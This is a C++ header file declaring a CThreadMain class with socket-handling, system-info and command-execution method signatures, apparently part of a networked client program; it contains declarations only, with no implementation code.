#pragma once
#include "MySocket.h"
#include "Common.h"
#include "SystemInfo.h"
class CThreadMain
{
public:
	CThreadMain();
	~CThreadMain();

	bool RunFlag;
	
	void GetInfo(char info[MAX_PATH]);
	SOCKET Run();
	void Command(SOCKET Sock);
	HWND m_hWnd;
private:
	void ExecCommand(MSGINFO_S msg, SOCKET l_Socket);
	CMySocket m_sock;
	char Address[160];
	SOCKET m_Socket;
	CSystemInfo m_sys;
	

};

